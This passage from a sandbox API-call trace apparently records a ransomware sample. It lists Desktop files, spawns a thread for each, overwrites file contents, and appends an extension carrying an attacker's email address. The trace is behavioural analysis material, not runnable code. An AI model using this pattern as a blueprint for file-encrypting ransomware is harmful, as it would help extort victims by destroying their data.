lpNewFilePointer=0x0) returned 1 [0062.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402a38 [0062.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.233] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0062.234] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1963a930 [0062.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9098 [0062.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9098) returned 1 [0062.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0062.235] WriteFile (in: hFile=0x3e4, lpBuffer=0x1963a930*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6fefa94, lpOverlapped=0x0 | out: lpBuffer=0x1963a930*, lpNumberOfBytesWritten=0x6fefa94*=0xc800, lpOverlapped=0x0) returned 1 [0062.727] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1963a930) returned 1 [0063.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0063.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x436318 [0063.282] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.282] WriteFile (in: hFile=0x3e4, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x6fefb14, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x6fefb14*=0x103, lpOverlapped=0x0) returned 1 [0063.283] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.283] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4362f0) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436250) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436318) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9110) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0063.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9048) returned 1 [0063.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442d00 [0063.284] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png" [0063.284] wcscat (in: _Dest=0x442d00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d" [0063.284] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6fefacc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.291] NtQueryInformationFile (in: FileHandle=0x3e4, IoStatusBlock=0x6fefad8, FileInformation=0x6fefab0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6fefad8, FileInformation=0x6fefab0) returned 0x0 [0063.291] NtSetInformationFile (FileHandle=0x3e4, IoStatusBlock=0x6fefad8, FileInformation=0x6fefab0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0063.293] FlushFileBuffers (hFile=0x3e4) returned 1 [0066.203] CloseHandle (hObject=0x3e4) Thread: id = 448 os_tid = 0xdf0 [0049.211] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421348 [0049.211] wcscpy (in: _Dest=0x421348, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.211] wcscat (in: _Dest=0x421348, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.211] wcscat (in: _Dest=0x421348, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\*" [0049.211] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0049.211] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ca81e0, ftCreationTime.dwHighDateTime=0x1d4c860, ftLastAccessTime.dwLowDateTime=0x86347dc0, ftLastAccessTime.dwHighDateTime=0x1d4cdc7, ftLastWriteTime.dwLowDateTime=0x86347dc0, ftLastWriteTime.dwHighDateTime=0x1d4cdc7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0049.211] wcscmp (_String1=".", _String2=".") returned 0 [0049.211] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ca81e0, ftCreationTime.dwHighDateTime=0x1d4c860, ftLastAccessTime.dwLowDateTime=0x86347dc0, ftLastAccessTime.dwHighDateTime=0x1d4cdc7, ftLastWriteTime.dwLowDateTime=0x86347dc0, ftLastWriteTime.dwHighDateTime=0x1d4cdc7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.211] wcscmp (_String1="..", _String2=".") returned 1 [0049.211] wcscmp (_String1="..", _String2="..") returned 0 [0049.211] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa26d2660, ftCreationTime.dwHighDateTime=0x1d4c78f, ftLastAccessTime.dwLowDateTime=0xfd01e9e0, ftLastAccessTime.dwHighDateTime=0x1d4cf63, ftLastWriteTime.dwLowDateTime=0xfd01e9e0, ftLastWriteTime.dwHighDateTime=0x1d4cf63, nFileSizeHigh=0x0, nFileSizeLow=0x861e, dwReserved0=0x0, dwReserved1=0x0, cFileName="06I383pAChT dKW.bmp", cAlternateFileName="06I383~1.BMP")) returned 1 [0049.212] wcscmp (_String1="06I383pAChT dKW.bmp", _String2=".") returned 1 [0049.212] wcscmp (_String1="06I383pAChT dKW.bmp", _String2="..") returned 1 [0049.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x4171a0 [0049.212] wcscpy (in: _Dest=0x4171a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.212] wcscat (in: _Dest=0x4171a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.212] wcscat (in: _Dest=0x4171a0, _Source="06I383pAChT dKW.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp" [0049.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4171a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0049.489] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65005db0, ftCreationTime.dwHighDateTime=0x1d4cc80, ftLastAccessTime.dwLowDateTime=0x67b060e0, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x67b060e0, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0x145e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4IE1GCDE5.gif", cAlternateFileName="4IE1GC~1.GIF")) returned 1 [0049.489] wcscmp (_String1="4IE1GCDE5.gif", _String2=".") returned 1 [0049.489] wcscmp (_String1="4IE1GCDE5.gif", _String2="..") returned 1 [0049.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4478f8 [0049.489] wcscpy (in: _Dest=0x4478f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.489] wcscat (in: _Dest=0x4478f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.489] wcscat (in: _Dest=0x4478f8, _Source="4IE1GCDE5.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif" [0049.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4478f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80 [0049.491] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd264a690, ftCreationTime.dwHighDateTime=0x1d4c672, ftLastAccessTime.dwLowDateTime=0xb2f1e120, ftLastAccessTime.dwHighDateTime=0x1d4cab3, ftLastWriteTime.dwLowDateTime=0xb2f1e120, ftLastWriteTime.dwHighDateTime=0x1d4cab3, nFileSizeHigh=0x0, nFileSizeLow=0x637e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AknZ_N0KDo8OfCm1S.bmp", cAlternateFileName="AKNZ_N~1.BMP")) returned 1 [0049.491] wcscmp (_String1="AknZ_N0KDo8OfCm1S.bmp", _String2=".") returned 1 [0049.491] wcscmp (_String1="AknZ_N0KDo8OfCm1S.bmp", _String2="..") returned 1 [0049.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x4383f0 [0049.491] wcscpy (in: _Dest=0x4383f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.491] wcscat (in: _Dest=0x4383f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.491] wcscat (in: _Dest=0x4383f0, _Source="AknZ_N0KDo8OfCm1S.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp" [0049.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4383f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0049.492] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6d11a90, ftCreationTime.dwHighDateTime=0x1d4cd25, ftLastAccessTime.dwLowDateTime=0x5a4b7af0, ftLastAccessTime.dwHighDateTime=0x1d4d197, ftLastWriteTime.dwLowDateTime=0x5a4b7af0, ftLastWriteTime.dwHighDateTime=0x1d4d197, nFileSizeHigh=0x0, nFileSizeLow=0x2326, dwReserved0=0x0, dwReserved1=0x0, cFileName="b6VA.avi", cAlternateFileName="")) returned 1 [0049.492] wcscmp (_String1="b6VA.avi", _String2=".") returned 1 [0049.492] wcscmp (_String1="b6VA.avi", _String2="..") returned 1 [0049.492] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0049.492] wcscpy (in: _Dest=0x43b348, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.492] wcscat (in: _Dest=0x43b348, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.492] wcscat (in: _Dest=0x43b348, _Source="b6VA.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi" [0049.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88 [0049.493] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb928b90, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0x603ed1e0, ftLastAccessTime.dwHighDateTime=0x1d4ce8c, ftLastWriteTime.dwLowDateTime=0x603ed1e0, ftLastWriteTime.dwHighDateTime=0x1d4ce8c, nFileSizeHigh=0x0, nFileSizeLow=0xd7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fT LD01FhG.avi", cAlternateFileName="FTLD01~1.AVI")) returned 1 [0049.493] wcscmp (_String1="fT LD01FhG.avi", _String2=".") returned 1 [0049.493] wcscmp (_String1="fT LD01FhG.avi", _String2="..") returned 1 [0049.494] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447980 [0049.494] wcscpy (in: _Dest=0x447980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.494] wcscat (in: _Dest=0x447980, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.494] wcscat (in: _Dest=0x447980, _Source="fT LD01FhG.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi" [0049.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c [0049.495] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bd2f5a0, ftCreationTime.dwHighDateTime=0x1d4cc50, ftLastAccessTime.dwLowDateTime=0x752de300, ftLastAccessTime.dwHighDateTime=0x1d4cd7b, ftLastWriteTime.dwLowDateTime=0x752de300, ftLastWriteTime.dwHighDateTime=0x1d4cd7b, nFileSizeHigh=0x0, nFileSizeLow=0x3aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="h_DOHIA dOifpTTWyRb.flv", cAlternateFileName="H_DOHI~1.FLV")) returned 1 [0049.495] wcscmp (_String1="h_DOHIA dOifpTTWyRb.flv", _String2=".") returned 1 [0049.495] wcscmp (_String1="h_DOHIA dOifpTTWyRb.flv", _String2="..") returned 1 [0049.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438488 [0049.495] wcscpy (in: _Dest=0x438488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.495] wcscat (in: _Dest=0x438488, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.495] wcscat (in: _Dest=0x438488, _Source="h_DOHIA dOifpTTWyRb.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv" [0049.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90 [0049.496] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e81c80, ftCreationTime.dwHighDateTime=0x1d4cc76, ftLastAccessTime.dwLowDateTime=0xcbd46c30, ftLastAccessTime.dwHighDateTime=0x1d4d369, ftLastWriteTime.dwLowDateTime=0xcbd46c30, ftLastWriteTime.dwHighDateTime=0x1d4d369, nFileSizeHigh=0x0, nFileSizeLow=0x12d2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ILsXE SN3pQ8V7CG_cGR.png", cAlternateFileName="ILSXES~1.PNG")) returned 1 [0049.496] wcscmp (_String1="ILsXE SN3pQ8V7CG_cGR.png", _String2=".") returned 1 [0049.496] wcscmp (_String1="ILsXE SN3pQ8V7CG_cGR.png", _String2="..") returned 1 [0049.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x438520 [0049.496] wcscpy (in: _Dest=0x438520, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.496] wcscat (in: _Dest=0x438520, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.496] wcscat (in: _Dest=0x438520, _Source="ILsXE SN3pQ8V7CG_cGR.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png" [0049.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94 [0049.497] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc593460, ftCreationTime.dwHighDateTime=0x1d4c6de, ftLastAccessTime.dwLowDateTime=0x42acc660, ftLastAccessTime.dwHighDateTime=0x1d4c774, ftLastWriteTime.dwLowDateTime=0x42acc660, ftLastWriteTime.dwHighDateTime=0x1d4c774, nFileSizeHigh=0x0, nFileSizeLow=0x54df, dwReserved0=0x0, dwReserved1=0x0, cFileName="kj5p.jpg", cAlternateFileName="")) returned 1 [0049.497] wcscmp (_String1="kj5p.jpg", _String2=".") returned 1 [0049.497] wcscmp (_String1="kj5p.jpg", _String2="..") returned 1 [0049.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b3c0 [0049.498] wcscpy (in: _Dest=0x43b3c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.498] wcscat (in: _Dest=0x43b3c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.498] wcscat (in: _Dest=0x43b3c0, _Source="kj5p.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg" [0049.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0049.499] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298d4c00, ftCreationTime.dwHighDateTime=0x1d4c656, ftLastAccessTime.dwLowDateTime=0x5270aca0, ftLastAccessTime.dwHighDateTime=0x1d4cb5d, ftLastWriteTime.dwLowDateTime=0x5270aca0, ftLastWriteTime.dwHighDateTime=0x1d4cb5d, nFileSizeHigh=0x0, nFileSizeLow=0x8acd, dwReserved0=0x0, dwReserved1=0x0, cFileName="kJ9ukSwcL y52h_OVt.png", cAlternateFileName="KJ9UKS~1.PNG")) returned 1 [0049.499] wcscmp (_String1="kJ9ukSwcL y52h_OVt.png", _String2=".") returned 1 [0049.499] wcscmp (_String1="kJ9ukSwcL y52h_OVt.png", _String2="..") returned 1 [0049.499] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4385b8 [0049.499] wcscpy (in: _Dest=0x4385b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.499] wcscat (in: _Dest=0x4385b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.499] wcscat (in: _Dest=0x4385b8, _Source="kJ9ukSwcL y52h_OVt.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png" [0049.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4385b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0049.500] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1febc8c0, ftCreationTime.dwHighDateTime=0x1d4c872, ftLastAccessTime.dwLowDateTime=0xbcbd0950, ftLastAccessTime.dwHighDateTime=0x1d4cf22, ftLastWriteTime.dwLowDateTime=0xbcbd0950, ftLastWriteTime.dwHighDateTime=0x1d4cf22, nFileSizeHigh=0x0, nFileSizeLow=0xa352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ndxxZYVQ.avi", cAlternateFileName="")) returned 1 [0049.500] wcscmp (_String1="ndxxZYVQ.avi", _String2=".") returned 1 [0049.500] wcscmp (_String1="ndxxZYVQ.avi", _String2="..") returned 1 [0049.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45edb8 [0049.500] wcscpy (in: _Dest=0x45edb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.500] wcscat (in: _Dest=0x45edb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.500] wcscat (in: _Dest=0x45edb8, _Source="ndxxZYVQ.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi" [0049.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45edb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0 [0049.501] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cad720, ftCreationTime.dwHighDateTime=0x1d4d56b, ftLastAccessTime.dwLowDateTime=0x61437aa0, ftLastAccessTime.dwHighDateTime=0x1d4ce1e, ftLastWriteTime.dwLowDateTime=0x61437aa0, ftLastWriteTime.dwHighDateTime=0x1d4ce1e, nFileSizeHigh=0x0, nFileSizeLow=0x66da, dwReserved0=0x0, dwReserved1=0x0, 